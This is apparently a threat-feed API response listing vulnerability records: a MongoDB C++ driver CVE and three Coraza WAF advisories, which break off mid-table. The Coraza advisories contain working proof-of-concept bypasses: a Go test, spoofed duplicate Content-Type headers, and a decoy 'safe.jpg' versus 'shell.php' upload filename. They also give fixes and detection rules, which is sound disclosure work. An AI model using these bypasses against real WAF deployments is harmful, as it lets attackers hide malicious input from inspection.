{"success":true,"data":{"threats":[{"id":"37e116a2-c963-4c1e-8a67-cce0b82ec252","slug":"cve-2026-106430","externalId":"CVE-2026-106430","source":"NVD","sourceType":"cve-db","type":"vulnerability","title":"CVE-2026-106430 — The MongoDB C++ Driver discards content after an embedded NUL byte in certain field and collection names accepted by the collection API.","description":"The MongoDB C++ Driver discards content after an embedded NUL byte in certain field and collection names accepted by the collection API. This can cause the driver and the calling application to interpret the same name differently. An authenticated actor who can influence a name passed by an affected application can cause the application to read distinct values from an unintended field or rename an unintended collection. These operations use the application's existing database credentials.","cveId":"CVE-2026-106430","cvssScore":6,"cvssVector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:L/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","severity":"medium","vendor":null,"product":null,"affectedVersions":[],"cwes":["CWE-436"],"tags":["nvd","status:received","status:awaiting-analysis"],"relatedCves":[],"titleFingerprint":null,"countryCodes":[],"knownExploited":false,"patchAvailable":false,"patchLinks":[],"references":[{"url":"https://jira.mongodb.org/browse/CXX-3551","type":"advisory","title":"cna@mongodb.com"},{"url":"https://jira.mongodb.org/browse/CXX-3552","type":"advisory","title":"cna@mongodb.com"}],"epssScore":null,"epssPercentile":null,"nucleiTemplatePath":null,"nucleiSeverity":null,"enrichment":null,"publishedAt":"2026-10-08T19:16:58.910Z","addedAt":"2026-10-08T19:33:16.818Z","updatedAt":"2026-10-08T21:05:52.094Z","epssUpdatedAt":null,"nucleiUpdatedAt":null,"links":[{"label":"NVD","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-106430","note":"ingested from NVD"},{"label":"CVE Program","url":"https://www.cve.org/CVERecord?id=CVE-2026-106430","note":"authoritative record"}]},{"id":"43250143-44be-4f9a-bab7-86084a8972be","slug":"ghsa-w253-m66g-rx24","externalId":"GHSA-w253-m66g-rx24","source":"OSV","sourceType":"ghsa","type":"vulnerability","title":"Coraza: URL-encoded form Content-Type parameters bypass Coraza body inspection","description":"### Summary\n\nCoraza fails to inspect URL-encoded form bodies when their valid `Content-Type` contains a media-type parameter, for example:\n\n```http\nContent-Type: application/x-www-form-urlencoded; charset=UTF-8\n```\n\nAn unauthenticated attacker can use this header to hide the complete form body from custom Coraza rules that inspect `ARGS_POST` or `REQUEST_BODY`, while the bundled Go HTTP middleware forwards the body and the backend parses it normally.\n\nThis is a deterministic request-body inspection bypass. Suggested severity: **Medium**. Current OWASP CRS includes rule `901340`, which forces fallback inspection and mitigates this path; this report does not claim a bypass of an unmodified current CRS ruleset\n\n### Details\n\nThe affected component is request-body processor selection in [`internal/corazawaf/transaction.go`](https://github.com/corazawaf/coraza/blob/db9850b2dd8992f97a8cefe08d0cb4edd966a04c/internal/corazawaf/transaction.go#L371-L390).\n\n`Transaction.AddRequestHeader` compares the complete lowercased header value using exact equality:\n\n```go\ncase \"content-type\":\n    val := strings.ToLower(value)\n    if val == \"application/x-www-form-urlencoded\" {\n        tx.variables.reqbodyProcessor.Set(\"URLENCODED\")\n    } else if strings.HasPrefix(val, \"multipart/form-data\") {\n        tx.variables.reqbodyProcessor.Set(\"MULTIPART\")\n    }\n```\n\nSource: [`internal/corazawaf/transaction.go`, lines 383-390](https://github.com/corazawaf/coraza/blob/db9850b2dd8992f97a8cefe08d0cb4edd966a04c/internal/corazawaf/transaction.go#L383-L390).\n\nThe media type of `application/x-www-form-urlencoded; charset=UTF-8` remains `application/x-www-form-urlencoded`; `charset` is a parameter. Because Coraza compares the entire header, the comparison fails and `REQBODY_PROCESSOR` remains empty.\n\n`ProcessRequestBody` treats the empty processor as success:\n\n```go\nrbp = strings.ToLower(rbp)\nif rbp == \"\" {\n    tx.WAF.Rules.Eval(types.PhaseRequestBody, tx)\n    return tx.interruption, nil\n}\n```\n\nSource: [`internal/corazawaf/transaction.go`, lines 1115-1120](https://github.com/corazawaf/coraza/blob/db9850b2dd8992f97a8cefe08d0cb4edd966a04c/internal/corazawaf/transaction.go#L1115-L1120).\n\nCoraza therefore evaluates phase 2 without parsing the body and without setting `REQBODY_ERROR`. The [URL-encoded processor that normally populates `ARGS_POST`, `REQUEST_BODY`, and `REQUEST_BODY_LENGTH`](https://github.com/corazawaf/coraza/blob/db9850b2dd8992f97a8cefe08d0cb4edd966a04c/internal/bodyprocessors/urlencoded.go#L19-L33) is never invoked.\n\nThe [bundled middleware buffers and reconstructs the full request body before invoking the backend](https://github.com/corazawaf/coraza/blob/db9850b2dd8992f97a8cefe08d0cb4edd966a04c/http/middleware.go#L69-L97). The backend consequently receives data that was absent from Coraza's body variables.\n\nThe issue exists in the standard compiled implementation; no special build tag is required. Request-body access defaults to Off in an empty configuration, but Coraza's recommended configuration enables it with `SecRequestBodyAccess On`.\n\n### PoC\n\nSave this self-contained test as `parameterized_form_bypass_test.go` in the Coraza repository root:\n\n```go\npackage coraza_test\n\nimport (\n    \"net/http\"\n    \"net/http/httptest\"\n    \"strings\"\n    \"testing\"\n\n    coraza \"github.com/corazawaf/coraza/v3\"\n    corazahttp \"github.com/corazawaf/coraza/v3/http\"\n)\n\nfunc TestParameterizedFormInspectionBypass(t *testing.T) {\n    cfg := coraza.NewWAFConfig().WithDirectives(`\nSecRuleEngine On\nSecRequestBodyAccess On\nSecRule ARGS_POST:cmd \"@streq evil\" \"id:910001,phase:2,deny,status:403,t:none\"\n`)\n\n    waf, err := coraza.NewWAF(cfg)\n    if err != nil {\n        t.Fatal(err)\n    }\n\n    backendSaw := \"\"\n    handler := corazahttp.WrapHandler(waf, http.HandlerFunc(\n        func(w http.ResponseWriter, r *http.Request) {\n            if err := r.ParseForm(); err != nil {\n                t.Fatal(err)\n            }\n            backendSaw = r.PostForm.Get(\"cmd\")\n            w.WriteHeader(http.StatusNoContent)\n        },\n    ))\n\n    req := httptest.NewRequest(\n        http.MethodPost,\n        \"http://example.test/\",\n        strings.NewReader(\"cmd=evil\"),\n    )\n    req.Header.Set(\n        \"Content-Type\",\n        \"application/x-www-form-urlencoded; charset=UTF-8\",\n    )\n\n    rec := httptest.NewRecorder()\n    handler.ServeHTTP(rec, req)\n\n    if rec.Code != http.StatusNoContent {\n        t.Fatalf(\"expected request to reach backend, status=%d\", rec.Code)\n    }\n    if backendSaw != \"evil\" {\n        t.Fatalf(\"backend did not receive malicious value: %q\", backendSaw)\n    }\n}\n```\n\nRun:\n\n```bash\ngo test . -run TestParameterizedFormInspectionBypass -v\n```\n\nObserved:\n\n```text\n=== RUN   TestParameterizedFormInspectionBypass\n--- PASS: TestParameterizedFormInspectionBypass (0.00s)\nPASS\n```\n\nThe test passes only when Coraza fails to return its configured 403 response and the backend parses `cmd=evil`.\n\nAs a control, change the header to:\n\n```http\nContent-Type: application/x-www-form-urlencoded\n```\n\nCoraza then selects the URL-encoded processor, exposes `cmd=evil` as `ARGS_POST:cmd`, and returns 403 before the backend runs.\n\n### Impact\n\nThis is a parser differential and request-body inspection bypass affecting applications protected by custom Coraza rules.\n\nAn unauthenticated attacker can add `charset=UTF-8` to an ordinary form request. Coraza then runs phase-2 rules without the submitted parameters and reports no body-processing failure, while the application receives and processes those parameters.\n\nRules relying on these variables are affected on this path:\n\n- `ARGS_POST`\n- `ARGS` for POST-derived values\n- `ARGS_POST_NAMES`\n- `ARGS_NAMES`\n- `REQUEST_BODY`\n- `REQUEST_BODY_LENGTH`\n\nThis defeats custom rules intended to reject injection strings, dangerous commands, or forbidden business values in form fields. The final application impact depends on the backend behavior that the bypassed rule was intended to protect.\n\nAffected operators are those who enable request-body access and rely on automatic URL-encoded parsing without current CRS rule `901340`, `ctl:forceRequestBodyVariable=On`, an explicitly forced processor, or equivalent backend validation.\n\nThe fix is to parse Content-Type according to MIME syntax and compare the normalized media type without parameters, for example with Go's `mime.ParseMediaType`. If an expected body has no processor, Coraza should expose an explicit processing error instead of silently evaluating phase 2 with empty variables.\n\n## Follow-up (2026-09-30): duplicate Content-Type headers desynchronize processor selection from the parsed body\n\nThe original fix made body-processor selection tolerant of media-type parameters (`charset=UTF-8` etc.) by switching from exact equality to `strings.HasPrefix`. A second, distinct gap was found while reviewing that same selection code: it never accounted for a request carrying *more than one* `Content-Type` header.\n\n### Root cause\n\n`Transaction.AddRequestHeader` is called once per header by the integrator (documented contract). Its `content-type` case runs on every call:\n\n```go\ncase \"content-type\":\n    val := strings.ToLower(value)\n    if strings.HasPrefix(val, \"application/x-www-form-urlencoded\") {\n        tx.variables.reqbodyProcessor.Set(\"URLENCODED\")\n    } else if strings.HasPrefix(val, \"multipart/form-data\") {\n        tx.variables.reqbodyProcessor.Set(\"MULTIPART\")\n    }\n```\n\nA request with two `Content-Type` headers therefore has its body-processor selection silently overwritten by the *last* one, since each call unconditionally calls `Set`. Meanwhile, `ProcessRequestBody` extracts the `mimeType` it passes to whichever processor gets selected from `requestHeaders.Get(\"content-type\")[0]` -- the *first* value (`internal/corazawaf/transaction.go`, a few hundred lines below `AddRequestHeader`) -- and Go's `net/http` `Header.Get` (what a typical backend uses) also returns only the first value. So selection follows the last header while everything else follows the first, and the two can disagree entirely.\n\n### PoC\n\n```http\nContent-Type: multipart/form-data; boundary=XyZ\nContent-Type: application/x-www-form-urlencoded\n```\n\nwith a genuine multipart body containing `cmd=evil` and a `shell.php` file upload. Against commit `19b86824`:\n\n- `reqbodyProcessor` resolves to `\"URLENCODED\"` (the second, spoofed header wins).\n- The URL-encoded processor runs against the raw multipart body text, parses without error, and produces nothing.\n- `ARGS_POST:cmd`, `FILES`, and `FILES_NAMES` are all empty -- the entire payload is invisible to any rule inspecting those variables.\n- The backend (or any integrator using `Header.Get`, which reads the first value) still sees `Content-Type: multipart/form-data` and parses `cmd=evil` and the uploaded `shell.php` normally.\n\nCurrent OWASP CRS includes rule `920620` (`Content-Type` header sanity check via count/format), which catches this shape; the recommended `coraza.conf-recommended` has no equivalent, so a Coraza deployment with only custom rules (no CRS) is exposed.\n\n### Fix\n\nOnly the first `Content-Type` header may set `reqbodyProcessor`: guard the existing logic with `if tx.variables.reqbodyProcessor.Get() == \"\"`. This makes header-driven processor selection consistent with `ProcessRequestBody`'s own `mimeType` extraction and with standard `Header.Get` semantics, without a new field (nothing else can set `reqbodyProcessor` before headers finish processing; `ctl:requestBodyProcessor` and `ForceRequestBodyVariable` both run afterward, in phase 1 rule evaluation and body processing respectively, and are unaffected).\n\nAs defense in depth, a rule author can also detect the anomaly directly today, with no code change: `SecRule &REQUEST_HEADERS:Content-Type \"@gt 1\" \"deny,...\"` -- left as a suggested addition to `coraza.conf-recommended` rather than bundled into this fix, since it is a policy choice (deny vs. flag) rather than a correctness requirement.\n\n### AI involvement disclosure\n\n- **AI tools/models used:** Claude Sonnet 5 (Anthropic), via Claude Code.\n- **What was generated/assisted:** the vulnerability hypothesis and repro shape were supplied by the reporter as an existing written finding; Claude Sonnet 5 independently re-derived the root cause by reading the current source, traced the `mimeType`/`Header.Get` first-value asymmetry, wrote and ran a fresh PoC against commit `19b86824` confirming the full bypass (`ARGS_POST`/`FILES`/`FILES_NAMES` all empty), verified the fix closes it, and drafted this addendum.\n- **Review performed:** reproduced by hand against a clean checkout of commit `19b86824` before and after the fix using the real `Transaction` API (`AddRequestHeader` x2, `WriteRequestBody`, `ProcessRequestBody`); confirmed the regression test fails deterministically against the pre-fix code and passes after it; ran the full test suite, the build-tag matrix (`coraza.no_memoize`, `coraza.rule.multiphase_evaluation`, `coraza.rule.no_regex_multiline`), and the `testing/coreruleset` CRS regression suite, all green; reviewed by a human maintainer (fzipi) before this addendum was submitted.\n\nFix: https://github.com/corazawaf/coraza-ghsa-w253-m66g-rx24/pull/2\n\n### Patched in 3.8.1\n\nThe 3.8.0 fix was incomplete. 3.8.1 completes it: only the first `Content-Type` header now selects the body processor (the one a typical backend reads with `Header.Get`), and leading whitespace in the media type, including Unicode whitespace that `net/http` accepts, is trimmed the way `mime.ParseMediaType` trims it. Upgrade to 3.8.1; 3.8.0 is listed as affected.\n\n\n### Severity (revised 2026-10-02)\n\n`CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:L/A:N` (5.8, Medium).\n\nAttack Complexity is Low: every form and multipart parser accepts these Content-Type values. The previous vector used Scope Unchanged (5.3).\n\nImpact metrics follow the convention used across Coraza's WAF-bypass advisories: the vulnerable component is Coraza, but the impact lands on the protected application, so Scope is Changed. The bypass hides a payload from inspection; the application still has to be vulnerable to it, so Integrity is Low and Confidentiality is not scored separately.\n\n_AI involvement in this section: Claude Opus 5.5 (Anthropic), via Claude Code, re-derived the CVSS vector from the project's triage guidance (AGENTS.md, \"CVSS preconditions get verified, not copied from the report\") and drafted this text. A human maintainer (fzipi) chose the `S:C/I:L` impact convention and directed this update._","cveId":null,"cvssScore":null,"cvssVector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:L/A:N","severity":"medium","vendor":"Go","product":"github.com/corazawaf/coraza/v3","affectedVersions":["pkg:golang/github.com/corazawaf/coraza/v3 >= 3.0.4, < 3.8.1"],"cwes":["CWE-20","CWE-436"],"tags":["osv","osv:ghsa-w253-m66g-rx24","ecosystem:go"],"relatedCves":[],"titleFingerprint":null,"countryCodes":[],"knownExploited":false,"patchAvailable":false,"patchLinks":[],"references":[{"url":"https://osv.dev/vulnerability/GHSA-w253-m66g-rx24","type":"advisory","title":"OSV GHSA-w253-m66g-rx24"},{"url":"https://github.com/corazawaf/coraza/security/advisories/GHSA-w253-m66g-rx24","type":"other","title":"OSV web"},{"url":"https://github.com/corazawaf/coraza/commit/3b6241ef895b089c66a59e51068a81cf40986e4d","type":"other","title":"OSV web"},{"url":"https://github.com/corazawaf/coraza/commit/a55950ffa161f33a29e14f87d926d7df3b85cc74","type":"other","title":"OSV web"},{"url":"https://github.com/corazawaf/coraza/commit/dd100261cf1d2e2b053803a50c9db28dcaaa4b7c","type":"other","title":"OSV web"},{"url":"https://github.com/corazawaf/coraza","type":"vendor","title":"OSV package"},{"url":"https://github.com/corazawaf/coraza/releases/tag/v3.8.1","type":"other","title":"OSV web"}],"epssScore":null,"epssPercentile":null,"nucleiTemplatePath":null,"nucleiSeverity":null,"enrichment":null,"publishedAt":"2026-10-08T17:51:53.000Z","addedAt":"2026-10-08T18:42:41.882Z","updatedAt":"2026-10-08T18:42:41.882Z","epssUpdatedAt":null,"nucleiUpdatedAt":null,"links":[{"label":"GitHub Advisory","url":"https://github.com/advisories/GHSA-w253-m66g-rx24"},{"label":"OSV","url":"https://osv.dev/vulnerability/GHSA-w253-m66g-rx24"}]},{"id":"d6764108-209b-4173-ba4b-88116d3e686c","slug":"ghsa-3wr7-993q-jrff","externalId":"GHSA-3wr7-993q-jrff","source":"OSV","sourceType":"ghsa","type":"vulnerability","title":"Coraza: Multipart filename* (RFC 5987) charset restriction lets a decoy filename bypass FILES-based rules","description":"## Summary\n\nCoraza extracts a multipart file upload's filename using Go's standard-library `mime.ParseMediaType`, which only decodes the RFC 5987/6266 extended `filename*` `Content-Disposition` parameter when its declared charset is exactly `us-ascii` or `utf-8`. Any other charset — including `iso-8859-1`, which RFC 5987 explicitly permits — is silently dropped by the stdlib, with no error and no fallback signal. This lets an attacker present one filename to Coraza and a different one to the backend application in the same request.\n\n## Affected variables\n\n`FILES` (documented as *\"the original filenames as submitted by the client in the multipart upload\"*), `FILES_SIZES`, and the file-vs-field routing decision that determines whether a part is tracked as a file at all.\n\n`MULTIPART_FILENAME` is not affected. It is declared in Coraza but is not populated by any code path in the affected versions.\n\n## Details\n\n`internal/bodyprocessors/multipart.go`'s `originFileName` calls `mime.ParseMediaType` on the raw `Content-Disposition` header and reads `dispositionParams[\"filename\"]`, which then populates `FILES`/`FILES_SIZES` for parts recognized as file uploads. Per RFC 7578 §4.2 and RFC 6266, when both `filename` and `filename*` are present, `filename*` is authoritative. Go's `mime.ParseMediaType` implements this precedence internally (`decode2231Enc` in `mediatype.go`), but only for `filename*` values whose charset token is `us-ascii` or `utf-8`:\n\n```go\n// mime/mediatype.go\nif charset != \"us-ascii\" && charset != \"utf-8\" {\n    // TODO: unsupported encoding\n    return \"\", false\n}\n```\n\nWhen `decode2231Enc` returns `false`, the stdlib silently leaves whatever was parsed for the plain `filename` parameter untouched (or leaves `filename` absent entirely if only `filename*` was supplied) — there is no error, no partial-parse indicator, nothing a caller can detect. The stdlib also discards the RFC 5987 `language` component of `filename*` entirely; it is not recoverable from the parsed params map at all.\n\n### Verified behavior (prior to the fix)\n\n| `Content-Disposition` fields | Effective filename (`FILES`) | Recognized as file upload? |\n|---|---|---|\n| `filename=\"safe.jpg\"; filename*=UTF-8''shell.php` | `shell.php` (correct) | yes |\n| `filename=\"safe.jpg\"; filename*=iso-8859-1''shell.php` | `safe.jpg` (decoy wins) | yes, but with the wrong name |\n| `filename*=iso-8859-1''shell.php` (no plain `filename`) | *(none)* | **no** — processed as an ordinary form field into `ARGS_POST` instead |\n\nIn the second row, any rule inspecting `FILES` for a dangerous extension only ever sees `safe.jpg`, while a backend that follows RFC 7578 precedence and accepts `iso-8859-1` (an RFC-5987-legal, non-exotic charset) uses `shell.php` as the filename. In the third row, the upload skips file-specific rule scope and size-limit tracking (`FILES_COMBINED_SIZE`) entirely.\n\n## Impact\n\nA rule set that blocks file uploads by extension or name via `FILES` (or scopes rules to `FILES`/`FILES_NAMES`) can be bypassed by supplying the real filename via `filename*` under any charset other than `utf-8`/`us-ascii` — `iso-8859-1` is sufficient and is a standards-compliant choice, not an obscure or malformed one — optionally alongside an innocuous decoy `filename`. A part carrying only `filename*` additionally escapes file-vs-field routing, so `FILES`, `FILES_NAMES` and `FILES_COMBINED_SIZE` never see it.\n\nThe bypass is deterministic against Coraza and requires no authentication or user interaction. Its effect is bounded to filename-derived inspection: request body content, `ARGS` and headers are still inspected, and a part carrying only `filename*` is routed into `ARGS_POST`. Coraza itself neither stores nor serves the uploaded file, so whether an evaded rule was preventing a change of state depends on the backend's own `filename*` precedence handling and upload handling. This is scored as a scope-changing bypass with low integrity impact (`S:C`, `I:L`) rather than a direct compromise.\n\n## Proof of Concept\n\n```\nContent-Disposition: form-data; name=\"upload\"; filename=\"safe.jpg\"; filename*=iso-8859-1''shell.php\n```\n\nProcessed through `internal/bodyprocessors/multipart.go` prior to the fix, `FILES` for this part contained `safe.jpg`. A `SecRule FILES \"\\.php$\"` (or similar extension-blocklist rule) did not fire, while a backend honoring RFC 5987/7578 `filename*` precedence uses `shell.php` as the filename.\n\n## Resolution\n\nFixed by locating and decoding `filename*` independently of `mime.ParseMediaType`'s charset restriction (a quoted-string-aware scanner over the raw header). The fix also populates `MULTIPART_FILENAME`/`MULTIPART_NAME`, which were previously declared but unpopulated.\n\n**Both readings are exposed, not just `filename*`.** An earlier version of this fix made `filename*` unconditionally authoritative over the plain `filename`, per RFC 7578 §4.2 — this closed the PoC above but relocated the same bypass: swap which field carries the real name (`filename=\"shell.php\"; filename*=iso-8859-1''safe.jpg`) and a backend that resolves the plain `filename` instead is missed, since the discarded reading never reached `FILES` at all. Fixed in `89399e67`: when a well-formed `filename*` picks a different value than the plain `filename`, both are added to `FILES`/`FILES_SIZES`/`MULTIPART_FILENAME` for the same part (one temp file, one byte count, two names). A `SecRule FILES \"\\.php$\"` now catches the payload regardless of which field carries the real name.\n\nCoraza does not select a \"safe\" charset allowlist on the operator's behalf. Instead, `filename*`'s declared charset and language are exposed as their own rule-matchable collections, `MULTIPART_FILENAME_CHARSET` and `MULTIPART_FILENAME_LANGUAGE`, alongside `MULTIPART_FILENAME`, so operators can enforce their own allowlist. Design credit: **@airween**.\n\nFor `Content-Disposition: form-data; name=\"upload\"; filename=\"safe.jpg\"; filename*=UTF-8''shell.php`:\n\n```\nMULTIPART_FILENAME:upload          = [shell.php, safe.jpg]   (filename* first, plain filename kept alongside)\nMULTIPART_FILENAME_CHARSET:upload  = UTF-8\nMULTIPART_FILENAME_LANGUAGE:upload = \"\"           (empty string; language is optional)\n```\n\nRule writers can enforce a charset allowlist directly. Use an anchored regex\nrather than `@within`:\n\n```\nSecRule MULTIPART_FILENAME_CHARSET:upfile \"!@rx ^(?:utf-8|iso-8859-1|us-ascii)$\" \\\n    \"id:199,phase:2,t:none,t:lowercase,deny\"\n```\n\n`!@within utf-8,iso-8859-1,us-ascii` looks equivalent and is not. `@within`\ntreats its parameter as the haystack and the variable as the needle, so an\nempty value is trivially contained in it and the negation never fires. A\n`filename*` that declares no charset at all — `filename*=''shell.php`, which\nRFC 5987's grammar does not permit but which Coraza accepts and exposes rather\nthan rejecting — therefore passes an `@within` allowlist untouched. Measured:\n\n| `MULTIPART_FILENAME_CHARSET` | `!@within utf-8,...` | `!@rx ^(?:utf-8\\|...)$` |\n|---|---|---|\n| `UTF-8` | quiet | quiet |\n| `shift_jis` | fires | fires |\n| *(empty, from* `filename*=''...`*)* | **quiet** | fires |\n\nBoth spellings stay quiet on a part with no `filename*` at all, because the\ncollections are then absent rather than empty and the rule never evaluates.\nThat is what makes an allowlist rule safe to apply to all traffic rather than\nonly to known upload fields.\n\n### Discrepancies are no longer dropped silently\n\nThe same silent-fallback pattern this advisory describes existed on two neighbouring paths: a part whose `Content-Disposition` was present but unparseable, and a part carrying a `filename*` that did not match the `charset'[language]'value` shape at all. Both were reduced to a part with no filename — routed into `ARGS_POST`, outside `FILES`-scoped rule coverage, with nothing to signal that a filename had been discarded.\n\nBoth now raise `MULTIPART_STRICT_ERROR` (rule 200003 in CRS). A part with *no* `Content-Disposition` at all is not flagged: it simply carries no filename. `mime.ParseMediaType` accepts every real-world filename shape tested — raw UTF-8 and emoji, spaces, Windows backslashes, a bare `%`, unquoted values — so this signal does not reach legitimate uploads.\n\n### New variable: `MULTIPART_DUPLICATE_PART_HEADER`\n\nSet to `1` when a part repeats a header (two `Content-Disposition` headers) or repeats a parameter inside its `Content-Disposition` (two `filename` parameters). A duplicate is precisely where backends disagree about which value wins, so the duplicate itself is the signal; it also contributes to `MULTIPART_STRICT_ERROR`.\n\n```\nSecRule MULTIPART_STRICT_ERROR \"@eq 1\" \"id:201,phase:2,deny,t:none,chain\"\n  SecRule MULTIPART_DUPLICATE_PART_HEADER \"@eq 1\"\n```\n\nModSecurity adds the same variable in its fix for [GHSA-5pww-8rfg-9crf](https://github.com/owasp-modsecurity/ModSecurity/security/advisories/GHSA-5pww-8rfg-9crf) and lists it in the recommended audit-log format as `DH`. Coraza implements it under the same name so that a rule set referencing it parses on both engines.\n\n### Note on percent-decoding\n\nCoraza percent-decodes the `filename*` value, so `MULTIPART_FILENAME` and `FILES` hold the name the application will actually resolve. This matters for rules that match on file extension: CRS 933110 and 944140 target `FILES` with `t:none,t:lowercase,t:removeWhitespace` and perform no URL decoding, so an encoded separator such as `filename*=UTF-8''shell%2Ephp` would evade them if the raw value were stored instead. ModSecurity's fix stored the raw, still-encoded value when this was first written; after the difference was raised on its advisory it now percent-decodes as well, so the two engines agree on this point.\n\n### Three further discrepancies found in post-fix review\n\nReviewing the fix (`23446b5e`) against test coverage turned up three more cases where Coraza's parsed value could disagree with what a backend resolves, closed in `f30df398`:\n\n- An unresolvable `%` escape in `filename*` (`filename*=UTF-8''safe.jpg%ZZ`) is still kept as-is rather than substituting a decoy plain `filename`, but now also raises `MULTIPART_STRICT_ERROR`. Without this, the discrepancy was silent whenever a backend decoded the same escape differently or rejected it outright.\n- A quoted `filename*` value (`filename*=\"UTF-8''shell.php\"`) is unwrapped before parsing. RFC 5987 does not permit `filename*` to be a quoted-string, but a general Content-Disposition parser such as Go's `mime.ParseMediaType` accepts a quoted value for any parameter. Without unwrapping, the literal quote characters ended up in `MULTIPART_FILENAME`/`MULTIPART_FILENAME_CHARSET`, so an anchored rule (e.g. `\\.php$`) did not match a filename the backend resolved cleanly.\n- `MULTIPART_FILENAME`, `MULTIPART_FILENAME_CHARSET`, `MULTIPART_FILENAME_LANGUAGE` and `MULTIPART_NAME` are multi-valued collections: two parts sharing one `name` (e.g. a multi-file upload field) each keep their own filename instead of the later part overwriting the earlier one. ModSecurity's fix for [GHSA-5pww-8rfg-9crf](https://github.com/owasp-modsecurity/ModSecurity/security/advisories/GHSA-5pww-8rfg-9crf) independently identifies and fixes the same class of bug, describing it as \"a second, distinct bypass,\" by keeping the equivalent variables multi-valued.\n\n### The precedence decision itself was found to relocate the bypass\n\nReviewing `filename*`-as-authoritative, @jptosso demonstrated (with a repro against Go's own `mime/multipart` as the reference backend) that this precedence choice doesn't close the two-sided decoy: it only decides which of the two payload shapes above is caught, not both. Checked against ModSecurity v3's actual fix for GHSA-5pww-8rfg-9crf: it makes the identical unconditional-precedence choice (single value, `filename*` wins, plain `filename` discarded), with no record of the two-sided case being considered there either — this is not a case of Coraza deviating from a more careful upstream fix.\n\nFixed in `89399e67` by keeping both readings rather than picking one (see Resolution above). Test coverage for the original PoC direction only ever exercised the `filename=\"safe.jpg\"; filename*=...''shell.php` order; the swapped order (`filename=\"shell.php\"; filename*=...''safe.jpg`) is now a dedicated regression case, since that gap in coverage is exactly why the one-sided version shipped in the first place.\n\n### Patched in 3.8.1\n\nThe 3.8.0 fix was incomplete. 3.8.1 completes it: an RFC 2231 numbered continuation (`filename*0=`, `filename*0*=`, ...) next to a bare `filename*` parameter now sets `MULTIPART_STRICT_ERROR`, and the Content-Disposition duplicate-parameter check added in 3.8.0 is now linear instead of quadratic in the number of parameters. Upgrade to 3.8.1; 3.8.0 is listed as affected.\n\n\n### Severity (revised 2026-10-02)\n\n`CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:N/I:L/A:N` (4.0, Medium).\n\nAttack Complexity is High because the bypass depends on a specific backend behaviour outside the attacker's control. Go's `mime.ParseMediaType` and PHP resolve the same filename Coraza did, so they are not affected. The discrepancy exists only for backends that decode a non-UTF-8 `filename*` or treat a `filename*`-only part as a file, such as Werkzeug/Flask and busboy-based Node.js backends (Express with multer, Fastify). The continuation case fixed in 3.8.1 is resolved only by Werkzeug. The previous vector scored Attack Complexity Low (5.8).\n\nImpact metrics follow the convention used across Coraza's WAF-bypass advisories: the vulnerable component is Coraza, but the impact lands on the protected application, so Scope is Changed. The bypass hides a payload from inspection; the application still has to be vulnerable to it, so Integrity is Low and Confidentiality is not scored separately.\n\n_AI involvement in this section: Claude Opus 5.5 (Anthropic), via Claude Code, re-derived the CVSS vector from the project's triage guidance (AGENTS.md, \"CVSS preconditions get verified, not copied from the report\") and drafted this text. A human maintainer (fzipi) chose the `S:C/I:L` impact convention and directed this update._","cveId":null,"cvssScore":null,"cvssVector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:N/I:L/A:N","severity":"medium","vendor":"Go","product":"github.com/corazawaf/coraza/v3","affectedVersions":["pkg:golang/github.com/corazawaf/coraza/v3 < 3.8.1"],"cwes":["CWE-20","CWE-436"],"tags":["osv","osv:ghsa-3wr7-993q-jrff","ecosystem:go"],"relatedCves":[],"titleFingerprint":null,"countryCodes":[],"knownExploited":false,"patchAvailable":false,"patchLinks":[],"references":[{"url":"https://osv.dev/vulnerability/GHSA-3wr7-993q-jrff","type":"advisory","title":"OSV GHSA-3wr7-993q-jrff"},{"url":"https://github.com/corazawaf/coraza/security/advisories/GHSA-3wr7-993q-jrff","type":"other","title":"OSV web"},{"url":"https://github.com/corazawaf/coraza/commit/5427c501b2fea6ae1305903efef01b3049224a58","type":"other","title":"OSV web"},{"url":"https://github.com/corazawaf/coraza/commit/b2a9264437116bdd98a86fe345b2aec1152d3d7c","type":"other","title":"OSV web"},{"url":"https://github.com/corazawaf/coraza/commit/cae3c7407e7b84372c207033de03f15f89bf351a","type":"other","title":"OSV web"},{"url":"https://github.com/corazawaf/coraza","type":"vendor","title":"OSV package"},{"url":"https://github.com/corazawaf/coraza/releases/tag/v3.8.1","type":"other","title":"OSV web"}],"epssScore":null,"epssPercentile":null,"nucleiTemplatePath":null,"nucleiSeverity":null,"enrichment":null,"publishedAt":"2026-10-08T17:51:36.000Z","addedAt":"2026-10-08T18:42:42.119Z","updatedAt":"2026-10-08T18:42:42.119Z","epssUpdatedAt":null,"nucleiUpdatedAt":null,"links":[{"label":"GitHub Advisory","url":"https://github.com/advisories/GHSA-3wr7-993q-jrff"},{"label":"OSV","url":"https://osv.dev/vulnerability/GHSA-3wr7-993q-jrff"}]},{"id":"95d39ecc-b87b-4045-ba56-1ba4a7b16d17","slug":"ghsa-g4qm-m288-5cp9","externalId":"GHSA-g4qm-m288-5cp9","source":"OSV","sourceType":"ghsa","type":"vulnerability","title":"Coraza has Cookie Parser Confusion","description":"## Summary\nCoraza's cookie parser (`internal/cookies.ParseCookies`) does not strip ASCII control characters (CTLs) from the edges of a cookie name/value before they're matched against `REQUEST_COOKIES` / `REQUEST_COOKIES_NAMES`. When a CTL sits directly next to the `=` separator, Coraza absorbs it into the adjacent name or value, while several backend cookie parsers trim it away — so the WAF and the application disagree about the cookie it just received.\n\n## Root cause\n- `ParseCookies` (`internal/cookies/cookies.go:17,26,31`) trims via `net/textproto.TrimString`, which strips only space (`0x20`) and tab (`0x09`).\n- RFC 6265 §4.1.1 defines cookie `name` as an HTTP `token` and `value` as `cookie-octet`, both excluding the full C0 control range (`0x00–0x1F`, `0x7F`) — not just space/tab.\n- Input `a\\v=\\t'` (vertical tab `\\v` next to `=`) keeps `\\v` in the name (`a\\v`), yielding name=`a\\v`, value=`\\t'`.\n\n## Confirmed divergence from real backends\n| Implementation | Name | Value |\n|---|---|---|\n| Coraza (< 3.8.0) | `a\\v` | `\\t'` |\n| Python `http.cookies`, and the Werkzeug/Flask version in the report below | `a` | `'` |\n| PHP 